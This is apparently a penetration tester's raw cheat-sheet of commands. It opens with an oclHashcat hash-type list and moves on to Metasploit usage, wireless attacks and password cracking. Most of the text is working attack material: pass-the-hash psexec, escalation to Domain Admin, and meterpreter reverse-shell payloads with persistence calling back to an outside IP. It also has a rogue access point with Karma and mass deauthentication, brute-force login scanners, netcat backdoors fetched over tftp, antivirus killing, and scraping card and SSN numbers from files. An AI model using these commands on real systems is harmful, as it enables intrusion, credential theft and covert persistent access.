#oclHashcat plus Support List : number PSA hashcat (0.39b24) oclHashcat-plus (0.08b25) oclHashcat-lite (0.10b9) 0 MD5 x x x 1 *md5($pass.$salt) (see 11) x 2 *md5($salt.$pass) (see 21) x 3 *md5(md5($pass)) (see 2600) x 4 *md5(md5(md5($pass))) x 5 *vBulletin < v3.8.5 (see 2611) x 6 *md5(md5($salt).$pass) (see 2811) x 7 *md5($salt.md5($pass)) x 8 *md5($salt.$pass.$salt) x 9 *md5(md5($salt).md5($pass)) x 10 *md5(md5($pass).md5($salt)) x x 11 *md5($salt.md5($salt.$pass)) x 11 Joomla x x 12 *md5($salt.md5($pass.$salt)) x 15 *vBulletin > v3.8.5 (see 2711) x 21 osCommerce, xt:Commerce x 30 *md5($username.0.$pass) x 31 *md5(strtoupper(md5($pass))) x 100 SHA1 x x x 101 nsldap, SHA-1(Base64), Netscape LDAP SHA x x 101 *sha1($pass.$salt) x 102 *sha1($salt.$pass) x 103 *sha1(sha1($pass)) x 104 *sha1(sha1(sha1($pass))) x 105 *sha1(strtolower($username).$pass) (see 121) x 110 *sha1($pass.$salt) x 111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA x x 112 Oracle 11g x x 121 SMF > v1.1 x 122 OSX v10.4, v10.5, v10.6 x 131 MSSQL(2000) x x 132 MSSQL(2005) x x 200 MySQL323 x 300 MySQL >=4.1 x x x 400 phpass, MD5(Wordpress), MD5(phpBB3) x x 500 md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 x x 600 *SHA-1(Base64) (see 101) x 700 *SSHA-1(Base64) (see 111) x 800 SHA-1(Django) x 900 MD4 x x x 1000 NTLM x x x 1100 Domain Cached Credentials, mscash x x x 1200 MD5(Chap) x 1300 MSSQL x 1400 SHA256 x x x 1500 descrypt, DES(Unix), Traditional DES x x 1600 md5apr1, MD5(APR), Apache MD5 x x 1700 SHA512 x x 1800 SHA-512(Unix) x 1900 SL3 x 2100 Domain Cached Credentials2, mscash2 x 2400 Cisco-PIX MD5 x x 2500 WPA/WPA2 x 2600 Double MD5 x x 2611 vBulletin < v3.8.5 x x 2711 vBulletin > v3.8.5 x x 2811 IPB2+, MyBB1.2+ x x 3000 LM x x * * Depreached, Example : set BIN=oclHashcat-plus64 set OPTS=--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --gpu-watchdog 0 --runtime 30 --force --custom-charset1 ?l?d?s?u %BIN% %OPTS% --hash-type 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 101 {SHA}aaaaaaaaaaaaaaaaaaaaaaaaaaQ= ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 111 {SSHA}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ== ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 112 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 121 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 122 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 132 0x0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 300 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 400 $H$9aaaaaaaaaaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 500 $1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000 %BIN% %OPTS% --hash-type 900 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 1000 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 1100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 1400 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 1500 aaaaaaaaaaaaw ?1?1?1?1?1?1?1?1 --gpu-accel 80 %BIN% %OPTS% --hash-type 1600 $apr1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000 %BIN% %OPTS% --hash-type 2100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 2400 aaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 2500 test.hccap ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 2611 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 2711 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1 %BIN% %OPTS% --hash-type 2811 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaa ?1?1?1?1?1?1?1?1 # set power profile via command line Powercfg.exe /SETACTIVE "Always On" Powercfg.exe /SETACTIVE "Max Battery" #Remove the .NET Credentials (Stored User names and Passwords) Control keymgr.dll # convert amr to mp3 ffmpeg -i file.amr -vn -acodec libmp3lame -ac 2 -ab 96k file.mp3 FOR /F "delims==" %%A IN ('DIR/B "*.amr"') DO ffmpeg -i %%A -vn -acodec libmp3lame -ac 2 -ab 96k %%A.mp3 #windows saved passwords rundll32.exe keymgr.dll, KRShowKeyMgr # check for mod date range find / -type f -newermt 2011-10-01 ! -newermt 2012-04-30 # openvas on 11.10 take src out of the sources.list add --http-only to the /etc/init.d/greenbone-security-assistant startup script # mass set path export PATH=$PATH:`find /usr/lib/ruby/1.9.1 -type d | sed 's/$/:/g' | tr -d '\n'` # top web ports ports 80-83,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8015,8080-808,8099,8100-8105,8443,8888,8900,9999,10000 # more web ports 10080,10100,10243,10250,10251,1027,1029,1030,1032,10439,10444,11267,1183,1184,11869,11905,11910,11935,1208,13080,1416,14176,14654,16000,16080,16372,17012,18083,1818,18180,1830,1831,19000,19082,19091,19101,1947,1972,19740,2002,2030,20444,2130,2140,21988,2301,2316,2381,2414,2424,24305,2480,2523,25684,25825,2693,27775,280,28080,2851,2869,30444,30900,31458,31459,3201,3227,32843,3339,34988,35135,35145,3526,3617,3790,37922,3842,3914,3938,4036,4053,41647,4220,4239,4343,443,45000,4680,47001,4723,48018,4848,4864,49152,49157,50000,50001,50038,51785,51905,51908,5225,53001,5357,5440,5447,5449,5469,54850,5500,5501,554,5554,55885,56414,56737,57423,57772,57773,5800,5801,591,593,5985,5989,60000,6001,6002,6003,6004,60213,61000,6107,6108,6113,6114,6160,6161,631,6325,6453,6454,65084,65093,6842,7001,7002,7003,7070,7099,7126,7191,7359,7453,7454,7717,7751,80,8000,8001,8002,8003,8004,8008,8020,8070,8071,8077,8080,8081,8082,8083,8085,8086,8087,8088,8090,8093,8094,8095,8099,81,8107,8113,8114,8115,8118,8120,8123,8126,8133,8135,8138,815,8150,8151,8180,82,8200,8222,8260,8300,8323,8333,84,8444,85,8530,8533,86,8660,8666,8701,8703,8732,8733,8740,8878,8880,8888,8889,8900,90,9000,9001,9002,9005,9006,9073,9080,9081,9084,9086,9087,9090,9091,9191,9300,9310,9444,9501,9510,9595,9642,9675,9676,9797,9823,9887 # Search office documents for PII # CC with SSN no dash ( high false positive ) find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b|\b[0-9]{9}\b" # CC with SSN dash ( low false positive only match ###-##-#### not any 8digi number ) find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b" # nslookup to CSV for i in `cat FULL` ;do echo "IP$i";nslookup $i|grep 'name ='|sed 's/.*name = /,/g'|sed 's/\.$//g';done| tr -d '\n' | awk '{gsub("IP","\n"); print}' # my-ip-neighbors lookup # 200 at a time .. you need to change the -x to a proxy that works .. rmccurdy.com/scripts/proxy/good.txt # test google before you start .. # curl -x 184.171.175.14:808 http://google.com etc .. for i in `cat FULL`;do echo curl -x 184.171.175.14:808 "\""http://www.my-ip-neighbors.com/?domain=$i"\"";done > go bash -x go > out # grep the output for all the goodies and make it nice CSV egrep "(\"http:\/\/whois\.domaintools\.com|domain\" value=\")" out | sed 's/.*domain\" value=\"/IP /g' | sed 's/\"\/>.*//g' | sed 's/.*domaintools.com\//,/g' | sed 's/" t.*//g' | tr -d '\n' | awk '{gsub("IP","\n"); print}' # block port 80 throttle iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 4 -j REJECT # CURL HTTPS for i in `cat check`;do echo curl -L -k --location-trusted -m 3 -L -o $i.htm "\""https://$i"\"";done > https # airbase/karma.rc setup -------------------- gogogo ---------------- # change eth1 to internet interface iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward # kill stuff the will cause issues .. killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd # start MSF karma.rc script logs are screenlog.0 etc .. xterm -e "screen -L /pentest/exploits/framework/msfconsole -r /stuff/karma.rc" & # takes a wile to startup .. lets wait we need it all ready to work before people connect to it so we dont miss packets !!! echo "waiting for MSF karma to start .. 50sec" sleep 20 # monitor mode change wlan1 to your wifi airmon-ng start wlan1 sleep 5 # setup fake AP xterm -e "airbase-ng -c 6 -P mon0 -v" & sleep 5 ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 & # setup DHCP server xterm -e "dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0" & # DEBUG DHCP to see DHCP request hits xterm -e "tcpdump -i at0 -n port 67 and port 68" & ------------------ # XSS >"'> # add full read write read/write full R/W on registry key SetACL.exe -on "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies" -ot reg -actn ace -ace "n:MyDomain\JohnDoe;p:full" # add -P0 for no ping /usr/bin/screen -fa -d -m nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.30.0.0/16 -oA /home/administrator/rmccurdy/192.30.0.0_fast_ping # msf metasploit use login to get msfshell for pivot/token use exploit/windows/smb/psexec set RHOST 192.168.64.123 set SMBUser adminit set SMBPass password # also set HASHES !! set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d exploit getuid use priv getsystem use incognito list_tokens -u add_group_user "Domain Admins" impersonate_token "DOMAIN\\user" # add user to domain admin after token net user test PASSWORDHERE /add net localgroup administrators test /add net group /add "domain admins" DOMAIN\test net group /add "domain admins" test --------------------------- # make exe ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe # attacker listen use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.6.55 set LPORT 443 set ExitOnSession false # set AutoRunScript pathto script you want to autorun after exploit is run set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30 exploit -j -z # armatage DONT USE THIS JUIST USE BIN INSTALL FROM WEBSITE .. INCLUDES FULL AND POSTGRES BINS apt-get install mysql-server -y /etc/init.d/mysql start mysqladmin -u root -ppassword password toor /pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic # armatage DONT USE THIS METHOD USE THE BIN FROM WEBSITE IT HAS ITS OWN POSTGRES apt-get install -y postgresql apt-get install libpq-dev -y gem install postgres /etc/init.d/postgresql start su - su - postgres createuser msf_user -P createdb --owner=msf_user msf /pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic /pentest/exploits/framework/armitage ---- # ssh use auxiliary/scanner/ssh/ssh_login #set RHOSTS_FILE "C:/backup/wordlist/targests.txt" set RHOSTS 192.59.139.135 192.59.139.136 192.59.139.140 192.116.61.25 192.116.61.26 192.116.61.34 # also set RHOSTS file://bla # set USER_FILE "C:/backup/wordlist/password_large.txt" set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt" set VERBOSE true set STOP_ON_SUCCESS true set BRUTEFORCE_SPEED 5 # set this to the number of host set THREADS 6 run use auxiliary/gather/dns_enum set DOMAIN domain.com run #smb use auxiliary/scanner/smb/smb_login set RHOSTS file://192.168.8.39 set RHOSTS 127.0.0.1 set USER_FILE "C:/wordlist/users.txt" set PASS_FILE "C:/wordlist/2.txt" set VERBOSE false # set to number of host scanning . set THREADS 16 set STOP_ON_SUCCESS true set VERBOSE false Name Value ---- ----- BLANK_PASSWORDS false BRUTEFORCE_SPEED 5 ConnectTimeout 10 DCERPC::ReadTimeout 10 DCERPC::fake_bind_multi true DCERPC::fake_bind_multi_append 0 DCERPC::fake_bind_multi_prepend 0 DCERPC::max_frag_size 4096 DCERPC::smb_pipeio rw MaxGuessesPerService 0 MaxGuessesPerUser 0 MaxMinutesPerService 0 NTLM::SendLM true NTLM::SendNTLM true NTLM::SendSPN true NTLM::UseLMKey false NTLM::UseNTLM2_session true NTLM::UseNTLMv2 true PRESERVE_DOMAINS true REMOVE_PASS_FILE false REMOVE_USERPASS_FILE false REMOVE_USER_FILE false RHOST file:/home/rmccurdy/high # http use auxiliary/scanner/http/http_login set AUTH_URI /folder?dcPath=ha-datacenter set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1 set VERBOSE true run back # telnet use auxiliary/scanner/telnet/telnet_login set RHOSTS 127.0.0.1,49,50 set PASS_FILE "C:/wordlist/password_small.txt" set THREADS 254 run back # mssql use auxiliary/scanner/mssql/mssql_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/password_small.txt" set USERNAME sa set VERBOSE false run back #ftp use auxiliary/scanner/ftp/ftp_login set RHOSTS 127.0.0.1 set PASS_FILE /home/administrator/small.txt set USER_FILE /home/administrator/small.txt set BRUTEFORCE_SPEED 1 run #snmp use auxiliary/scanner/snmp/snmp_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/snmp_default_pass.txt" set VERBOSE false run nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n ./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179 # got r00t got r00t ? # bash history very gooOOOd ! updatedb;locate .bash_history # crack with extrem gpu brute force cat /etc/shadow | grep -v ":\*:" # use on other servers by checking bash history updatedb;locate authorized # find files modifyed the past 7 days find / -type f -mtime -7|egrep -v "(proc|\/sys)" # you can look for other file types sql,*.php,*sql.tar.gz,*pass*,sudousers,/etc/passwd,/root/.ssh or ~/.ssh,password locate *.sql locate sql.tar.gz # what services are listing the part at the top netstat -na | grep LIS --------- more notes : ------------- # class b ADDfff -Pn to not ping ( assume up and no ping scan, it will take longer ) use control + D to end script and save at job # this will run at 7pm in a screen so you can reattach / check status and Ctrl+c out to save and use nmap -r to resume if need be at 19:00 screen bash at.sh # at.sh script nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.159.0.0/16 -oA /home/administrator/rmccurdy/safg/192.159.0.0_fast_ping # class b external 65k host fast ping scan 7 ports 30min # Nmap 5.61TEST2 scan initiated Thu Dec 29 21:02:11 2011 as: nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 -oA /home/administrator/rmccurdy/safg/192.30.0.0_fast_ping 192.30.0.0/16 # Ports scanned: TCP(7;20-21,80,115,443,989-990) UDP(0;) SCTP(0;) PROTOCOLS(0;) # Nmap done at Thu Dec 29 21:29:10 2011 -- 65536 IP addresses (40675 hosts up) scanned in 1618.92 seconds nmap -p53 -script dns-zone-transfer -script-args dnszonetransfer.domain=aeiginsurance.com # medusa hydra ./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179 http://www.foofus.net/~jmk/medusa/medusa.html medusa -M ftp -H targets -u Anonymous -p KPMG_AUDIT -v 6 -T 30 -g 2 -R 1 medusa -M mysql -H # change the -T for more threds -t is for per host keep it 1 .. medusa -M ssh -H 22 -u root -p tcr1tt3r -v 6 -g 2 -R 1 -t 1 -T 1 medusa -h 192.168.1.103 -u administrator -P passwords.txt -e ns -M smbnt mysql -u root -P mysqlpass.txt -v 6 -T 1 -g 2 -R 1 nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n # email over telnet RSET HELO MAIL FROM: RCPT TO:<"freeload101@yahoo.com"> data this is a test from KPMG w00t . -------- route add 10.101.14.0 netmask 255.255.255.0 gw 10.101.13.1 dev eth05 .\nmap -script smb-check-vulns.nse --script-args=unsafe=1 -p445 10.104.101.59 .\nmap --script smb-enum-shares.nse -p445 10.104.101.59 .\nmap --script smb-enum-users.nse -p445 10.104.101.59 .\nmap.exe --script smtp-commands.nse -pT:25,465,587 .\nmap.exe --script smtp-enum-users.nse -pT:25,465,587 # route all to 10.127.120.97 route add 0.0.0.0 mask 0.0.0.0 10.127.120.97 # route 75.131.211.0 to VPN or other connectoin route add 75.131.211.0 mask 255.255.255.0 192.168.77.254 # route rmccurdy over VPN route add 75.131.211.0 mask 255.255.255.0 10.31.128.1 warvox notes: * you also have to contact support and have IAX unlocked on the account · Normally I have 3 max threads and set it for 15-20 sec then with sql get the completed = 0 and run them thought again with 53 sec ringtime. · Let me know if you need any help google warvox for general notes "login etc .. just read all of it please ... use vitelity as the provider ) 3 at a time max .. screen ruby warvox.rb ( run warvox in screen so you can screen -r if you get dropped google screen Manuel ... ) use SELF as the caller ID ranges are 15555555555:15555555555 or 155555XXX SELECT * FROM DIAL_RESULTS where completed = 'f' and dial_job_id >= '68' and busy = 'f' and ringtime <= '52'; * if don.t add the .and ringtime <= '52' I get 2K hits . I would assume this is because it if did not answer it labeled it as not completed instead of labeling it timeout for some reason ? * ~700 ringtime <= '52' with no data file... some high ringtimes but most were instant busy signal but not marked as complete or busy with no data file SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'voice' ; SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'fax' ; SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'modem' ; SELECT * FROM DIAL_RESULTS where dial_job_id = '110' and busy = 't'; rcracki_mt /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f /usr/local/sbin/hash rcrack /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f hash2 # example input file 4ee is null or blank # Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: #notes http://ob-security.info/?tag=hashcat # following steps are for BT4: # edit the kismet.conf and add the /dev/ttyUSB0 etc .. (find / -name kismet.conf ) # load the kernal mod for garmin gps modprobe garmin_gps # plugin the the garmion GPS18 USB puck # if I dont run this command it hangs and kill -9 will not even work so have to reboot mount -t usbfs none /proc/bus/usb/ # setup gpsd dpkg-reconfigure gps #start gpsd gpsd /dev/ttyUSB0 # test ls -al /dev/ttyUSB0 xgps #also test by telnet localhost 2947 # in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time. # ssh logins use auxiliary/scanner/ssh/ssh_login set RHOSTS 10.13.102.2,177 set USER_FILE "C:/wordlist/password_small.txt" set RHOSTS_FILE "C:/wordlist/targests.txt" run back use auxiliary/gather/dns_enum set DOMAIN 10.21.1.69 run -------------------------------------- airbase notes ------------ mass deauth # broken because you need listen on the right channel before you deauth ... so I need channel and sesstion and ap info all in one line .. # cleanup rm -f clients*.csv # dump clients airodump-ng mon0 -o csv -w clients & # lets sleep on it we need station ids sleep 60 killall airodump-ng # make script to mass deauth grep -ia -A 10000 Station clients*.csv |egrep -v "(not|Station)" | sed 's/,/ /g' | awk '{print "aireplay-ng -0 1 -a",$8,"mon0 --ignore-negative-one -c",$1}'|grep : > killclients bash -x killclients ----------------------------------------------- gogogo ---------------- ^Croot@bt:/stuff/airbase# cat GO killall avahi-daemon avahi-daemon NetworkManager wpa_supplicant killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd airmon-ng start wlan1 sleep 5 xterm -e "airbase-ng -c 6 -P mon0 -v" & sleep 5 ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 & dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 & sleep 5 cd /pentest/exploits/framework & xterm -e "tcpdump -i at0 -n port 67 and port 68" & sleep 5 xterm -e "/pentest/exploits/framework/msfconsole -r /pentest/exploits/framework/karma.rc" ------------------ # depends for airdcrack apt-get install build-essential -y apt-get install libssl-dev -y apt-get install openssl-dev -y apt-get install partimage gparted lynx links curl nmap iotop screen medusa trafshow wireshark -y --force-yes # more depends set autopwn apt-get install upx-ucl upx-nrv -y apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby subversion sqlite3 libsqlite3-ruby irb -y apt-get install ruby libruby rdoc -y apt-get install libyaml-ruby -y apt-get install libzlib-ruby -y apt-get install libopenssl-ruby -y apt-get install libdl-ruby -y apt-get install libreadline-ruby -y apt-get install libiconv-ruby -y apt-get install rubygems -y #apt-get install postgresql postgresql-client postgresql-contrib -y apt-get install pgadmin3 -y apt-get install python-pymssql -y gem1.8 install rails # get set and msf mkdir /pentest/ mkdir /pentest/exploits cd /pentest/exploits # check out /install aircrack latest svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng cd aircrack-ng make clean make make install airodump-ng-oui-update # create mon0 airmon-ng start wlan1 # start airbase on mon0 it creates at0 to us with dhcpd ! ( may not need to include channel ... ) airbase-ng -c 6 -P mon0 -v # install dhcp3 server apt-get install dhcp3-server -y ----------------------------------------------------------- # DHCP CONF cat /etc/dhcp3/dhcpd.conf ---------------------------------------------------------------- option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; } ------------------------------------------------------------------------------- # setup at0 interface that airbase created to listen on IP configured for dhcp server ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 # start dhcp server dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 # cd to framework root .. cd /pentest/exploits/framework wget http://digitaloffense.net/tools/karma.rc -O karma.rc # start msfconsole using the mass client sides basicly karma.rc msfconsole -r karma.rc # start TCP dump looking for DHCP requests from the remote host ! tcpdump -i at0 -n port 67 and port 68 # mass client side too buggy ... to many iframes ... come back to it ... try SMB_REPLAY attack ...? or limit client side attacks ? # for mass client side attack using etterfilter for targets: apt-get install ettercap -y # run mass client side attack cd /pentest/exploits/fasttrack fast-track.py -i # choose mass client side attack etc and run metasploitloadfile manuely ... # when all is running etc .... start msfconsole with the metasploitloadfile script in the base folder of fasttrack msfconsole -r metasploitloadfile http://digitaloffense.net/tools/karma.rc +-+-+- airmon-ng start wlan0 airbase-ng -c 9 -P -C60 -z 2 -W 1 mon0 ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan0 killall dhclient dhcpcd dhclient3 airmon-ng start wlan1 airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1 ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1 iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward #airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1 00:0C:43:41:46:34 -37 13 2 0 6 54e. WPA TKIP PSK rmccurdyDOTcom1 airbase-ng -c 6 -a 00:0C:43:41:46:34 -C60 -z 2 -W 1 -v --essid rmccurdyDOTcom1 mon0 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1 i dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 tcpdump -i at0 -n port 67 and port 68 armatage apt-get install -y postgresql apt-get install libpq-dev -y gem install postgres /etc/init.d/postgresql start su - su - postgres createuser msf_user -P createdb --owner=msf_user msf /pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic /pentest/exploits/framework/armitage wifi notes ------------------------ internet@rmccurdydotcom /cygdrive/c/temp # egrep "BSSID|||" "Kismet-20110929-11-17-47-1.net xml" | tr -d '\n' | awk '{gsub("",",\n"); print}' | sed -e 's/<\/BSSID> /,/g' -e 's/ //g' -e 's/<\/manuf>//g' -e 's/ /,/ g' -e 's/<\/max_signal_dbm>/,/'g -e 's/ /,/g' -e 's/<\/ssid>// g'> 2.csv internet@rmccurdydotcom /cygdrive/c/temp # load the kernal mod for garmin gps modprobe garmin_gps # plugin the the garmion GPS18 USB puck # if I dont run this command it hangs and kill -9 will not even work so have to reboot mount -t usbfs none /proc/bus/usb/ # setup gpsd dpkg-reconfigure gps # test ls -al /dev/ttyUSB0 xgps #also test by telnet localhost 2947 # in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time. ------------------------ ---------------------- use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST rmccurdy.com set LPORT 21 set ExitOnSession false # set AutoRunScript pathto script you want to autorun after exploit is run set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30 exploit -j -z # file_autopwn rm -Rf /tmp/1 mkdir /tmp/1 rm -Rf ~/.msf3 wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf ./msfconsole db_driver sqlite3 db_create pentest11 setg LHOST 75.139.158.51 setg LPORT 21 setg SRVPORT 21 setg LPORT_WIN32 21 setg INFILENAME /tmp/file3.pdf use auxiliary/server/file_autopwn set OUTPATH /tmp/1 set URIPATH /msf set SSL true set ExitOnSession false set PAYLOAD windows/meterpreter/reverse_tcp setg PAYLOAD windows/meterpreter/reverse_tcp set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30 run # shows all the scripts run [tab] # persistence! broken ...if you use DNS name .. run persistence -r 75.139.158.51 -p 21 -A -X -i 30 # new method run persistence -U -i 5 -p 443 -r 192.168.1.71 run get_pidgin_creds idletime sysinfo # SYSTEM SHELL ( pick a proc that is run by system ) migrate 376 shell # session hijack tokens use incognito impersonate_token "NT AUTHORITY\\SYSTEM" # eslcate to system use priv getsystem execute -f cmd.exe -H -c -i -t execute -f cmd.exe -i -t # list top used apps run prefetchtool -x 20 # list installed apps run prefetchtool -p run get_local_subnets # find and download files run search_dwld "%USERPROFILE%\\my documents" passwd run search_dwld "%USERPROFILE%\\desktop passwd run search_dwld "%USERPROFILE%\\my documents" office run search_dwld "%USERPROFILE%\\desktop" office # alternate download -r "%USERPROFILE%\\desktop" ~/ download -r "%USERPROFILE%\\my documents" ~/ # alternate to shell not SYSTEM # execute -f cmd.exe -H -c -i -t # does some run wmic commands etc run winenum # rev shell the hard way run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080" # An example of a run of the file to download via tftp of Netcat and then running it as a backdoor. run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4 run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4 # vnc / port fwd for linux run vnc # priv esc run kitrap0d run getgui # somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?! run killav run winemun run memdump run screen_unlock upload /tmp/system32.exe 